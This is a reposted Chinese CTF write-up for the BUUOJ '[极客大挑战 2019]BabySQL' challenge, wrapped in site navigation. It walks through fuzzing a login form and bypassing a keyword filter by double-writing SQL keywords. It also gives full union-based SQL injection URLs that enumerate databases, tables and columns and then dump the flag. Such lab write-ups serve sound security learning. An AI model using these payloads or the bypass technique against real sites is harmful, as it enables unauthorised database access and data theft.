[PHP知识库] 极客大挑战 2019]BabySQL

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> PHP知识库 -> 极客大挑战 2019]BabySQL -> 正文阅读

[PHP知识库]极客大挑战 2019]BabySQL

地址:[极客大挑战 2019]BabySQL
在这里插入图片描述

一个登陆框，尝试admin/admin登陆

GET方式传参，测试注入

测试存在过滤

简单Fuzz一下

测试请求过快，出现429的情况，可以配置下延时爆破
在这里插入图片描述

出现Input your username and password都是被过滤的字符
知道被过滤的字符就好办了，使用双写绕过即可。

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' oorrder bbyy 4--+&password=admin

存在3个字段
在这里插入图片描述

回显位为第二个字段和第三个字段

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' uniunionon seleselectct 1,2,3--+&password=admin

在这里插入图片描述
查询所有库

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+&password=admin

在这里插入图片描述
所有库如下：

information_schema,mysql,performance_schema,test,ctf,geek

查ctf库的所有表

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' uniunionon seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'--+&password=admin

在这里插入图片描述
ctf库下存在如下表:

Flag

查询Flag表下的所有字段

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='Flag'--+&password=admin

在这里插入图片描述

查询到的字段如下:

flag

直接查flag字段内容

http://439fc8e9-c9d1-4fb5-858a-39b86d471f8c.node4.buuoj.cn:81/check.php?username=' uniunionon seleselectct 1,2,group_concat(flag) frfromom ctf.Flag--+&password=admin

在这里插入图片描述